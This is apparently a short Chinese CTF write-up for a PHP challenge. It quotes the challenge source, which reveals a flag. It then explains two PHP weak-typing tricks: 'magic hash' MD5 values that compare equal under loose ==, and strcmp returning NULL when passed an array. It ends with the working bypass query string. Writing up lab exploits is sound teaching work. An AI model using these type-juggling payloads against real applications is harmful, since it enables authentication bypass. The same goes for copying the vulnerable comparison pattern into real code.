先看源码
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
$v1
和$v2
是md5碰撞
strcmp($str1,$str2)
二进制安全字符串比较,这个函数区分大小写
本地测试了一下
$str1
与$str2
两个字符串完全一致才会返回0
if(!strcmp($v3, $flag)){
echo $flag;
}
那这个if语句的意思就是$v3
与$flag
一样才会输出$flag
这怎么玩
这里利用了php弱类型其中的一种
strcmp漏洞
我们传入一个数组就可以绕过了
?v1=240610708&v2=s878926199a&v3[]=1